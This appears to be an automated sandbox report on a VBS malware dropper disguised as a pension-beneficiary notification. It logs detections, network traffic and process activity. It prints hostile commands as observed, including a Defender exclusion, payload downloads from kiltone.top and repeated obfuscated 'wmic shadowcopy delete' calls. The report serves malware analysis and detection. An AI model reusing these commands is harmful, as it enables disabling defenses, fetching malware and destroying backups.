Source: Process startedAuthor: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe
Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ProcessId: 1456, ProcessName: wscript.exe
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe
Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7196, ProcessName: svchost.exe
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\fjeljies.cplReversingLabs: Detection: 50%
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.5% probability
Source: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfHTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdfHTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdfHTTP Parser: No favicon
Source: unknownHTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknownHTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.7:49756 version: TLS 1.2
Source: Binary string: Z:\scvhost\Release\scvhost.pdb source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr
Source: Binary string: Z:\lderd\Release\lderd.pdb source: fjeljies.cpl.16.dr
Source: Binary string: Z:\scvhost\Release\scvhost.pdbd source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\migration\wtr\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\hwvid-migration-2\

Software Vulnerabilities

barindex
Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeJump to behavior

Networking

barindex
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: Joe Sandbox ViewIP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknownTCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknownTCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknownTCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownTCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknownUDP traffic detected without corresponding DNS query: 40.81.94.65
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficHTTP traffic detected: GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /stelin/rwcla.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kiltone.topConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /stelin/Gosjeufon.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kiltone.topConnection: Keep-Alive
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: global trafficDNS traffic detected: DNS query: www.oldmutual.co.za
Source: global trafficDNS traffic detected: DNS query: kiltone.top
Source: global trafficDNS traffic detected: DNS query: www.google.com
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 8659Connection: closeDate: Sun, 22 Dec 2024 07:25:59 GMTLast-Modified: Fri, 20 Dec 2024 07:21:35 GMTx-amz-server-side-encryption: AES256Accept-Ranges: bytesServer: AmazonS3Content-Security-Policy: default-src 'self'; font-src 'self' data: https://use.typekit.net https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://tagmanager.google.com https://fonts.googleapis.com https://fonts.gstatic.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://embed.tawk.to https://salesiq.zoho.com https://css.zohostatic.com https://css.zohocdn.com/* https://css.zohocdn.com/salesiq/styles/fonts/cw/puvi/* https://css.zohocdn.com/salesiq/styles/fonts/cw/* https://css.zohocdn.com; style-src 'self' 'unsafe-inline' https://tagmanager.google.com https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://fonts.googleapis.com https://optimize.google.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://www.gstatic.com https://embed.tawk.to https://cdn.jsdelivr.net/* https://css.zohocdn.com https://css.zohostatic.com https://cdn.jsdelivr.net/* https://static.zohocdn.com; img-src 'self' data: https://p.typekit.net https://tawk.link https://tawk.link/* https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://t.co https://www.google.co.za https://www.google.com https://www.gstatic.com https://ssl.gstatic.com https://maps.gstatic.com https://maps.googleapis.com https://eu-images.contentstack.com https://images.contentstack.io https://i.ytimg.com https://www.google-analytics.com https://www.facebook.com https://stats.g.doubleclick.net https://px.ads.linkedin.com https://p.adsymptotic.com https://lh3.googleusercontent.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://optimize.google.com https://ws.sessioncam.com https://services.ominsure.co.za https://*.fls.doubleclick.net https://sp.analytics.yahoo.com https://embed.tawk.to https://embed.tawk.to https://salesiq.zoho.com https://salesiq.zoho https://salesiq.zohopublic.com https://css.zohostatic.com https://css.zohostatic.com/* https://css.zohocdn.com https://analytics.twitter.com/1/i/* https://geo-tracker.trinadsp.co.za/* https://s2s.oldmutual.co.za https://track.adform.
Source: cert9.db.34.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: cert9.db.34.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: cert9.db.34.drString found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: svchost.exe, 00000011.00000002.2579105714.000001428C000000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
Source: cert9.db.34.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: cert9.db.34.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: cert9.db.34.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: cert9.db.34.drString found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: qmgr.db.17.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.17.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.17.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.17.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000011.00000002.2579481409.000001428C02C000.00000004.00000020.00020000.00000000.sdmp, edb.log.17.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
Source: qmgr.db.17.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.17.drString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.17.dr, qmgr.db.17.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: cert9.db.34.drString found in binary or memory: http://ocsp.digicert.com0
Source: cert9.db.34.drString found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: cert9.db.34.drString found in binary or memory: http://x1.c.lencr.org/0
Source: cert9.db.34.drString found in binary or memory: http://x1.i.lencr.org/0
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://MD8.mozilla.org/1/m
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://account.bellmedia.c
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://allegro.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://bugzilla.mo
Source: prefs.js.34.drString found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: rundll32.exe, 00000017.00000002.1936554638.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, fjeljies.cpl.16.drString found in binary or memory: https://digify.com/a/#/access/login
Source: fjeljies.cpl.16.drString found in binary or memory: https://digify.com/a/#/access/logincmd
Source: qmgr.db.17.drString found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000011.00000003.1352579233.000001428BDD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.17.dr, qmgr.db.17.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: extensions.json.34.drString found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: prefs.js.34.drString found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: wscript.exe, 00000002.00000003.1408309940.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410315754.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://kiltone.top/ste
Source: fjeljies.cpl.16.drString found in binary or memory: https://kiltone.top/stelin/Gosjeufon.cpl
Source: cmd.exe, 0000001D.00000002.1562114601.00000000036B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmp
Source: wscript.exe, 00000002.00000002.1410520430.000002021BDA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410601508.000002021DA70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://kiltone.top/stelin/rwcla.
Source: wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS_1.vbsString found in binary or memory: https://kiltone.top/stelin/rwcla.cpl
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://login.live.com
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://login.microsoftonline.com
Source: qmgr.db.17.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: extensions.json.34.drString found in binary or memory: https://screenshots.firefox.com/
Source: places.sqlite.34.drString found in binary or memory: https://support.mozilla.org
Source: places.sqlite.34.drString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: favicons.sqlite.34.drString found in binary or memory: https://support.mozilla.org/products/firefox
Source: places.sqlite.34.drString found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://twitter.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://weibo.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.aliexpress.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.ca/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.de/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.amazon.fr/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.avito.ru/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.baidu.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.bbc.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.ctrip.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.ebay.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.ebay.de/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.google.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.google.com/complete/
Source: 2824c836-2afd-4a95-940b-ed2b991ba55d.34.dr, ff032c8b-05e6-43c9-9e84-732dbe7aca27.34.dr, 3be89113-af2b-4b48-9c47-40ac1156f7a2.34.drString found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.ifeng.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.iqiyi.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.leboncoin.fr/
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.mozilla.org/
Source: favicons.sqlite.34.drString found in binary or memory: https://www.mozilla.org/about/
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: favicons.sqlite.34.drString found in binary or memory: https://www.mozilla.org/contribute/
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: places.sqlite.34.drString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.msn.com
Source: chromecache_592.18.drString found in binary or memory: https://www.oldmutual.co.za/news/internet-explorer-support
Source: wscript.exe, wscript.exe, 00000002.00000002.1410520430.000002021BDA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410601508.000002021DA70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.oldmutual.co.za/v3/assets/blt0
Source: wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS_1.vbsString found in binary or memory: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.olx.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.reddit.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.wykop.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.youtube.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.drString found in binary or memory: https://www.zhihu.com/
Source: unknownNetwork traffic detected: HTTP traffic on port 49674 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49700
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49788
Source: unknownNetwork traffic detected: HTTP traffic on port 49672 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49995 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49868 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 49675 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49995
Source: unknownNetwork traffic detected: HTTP traffic on port 49677 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49671 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49700 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49868
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownHTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknownHTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.7:49756 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

barindex
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete
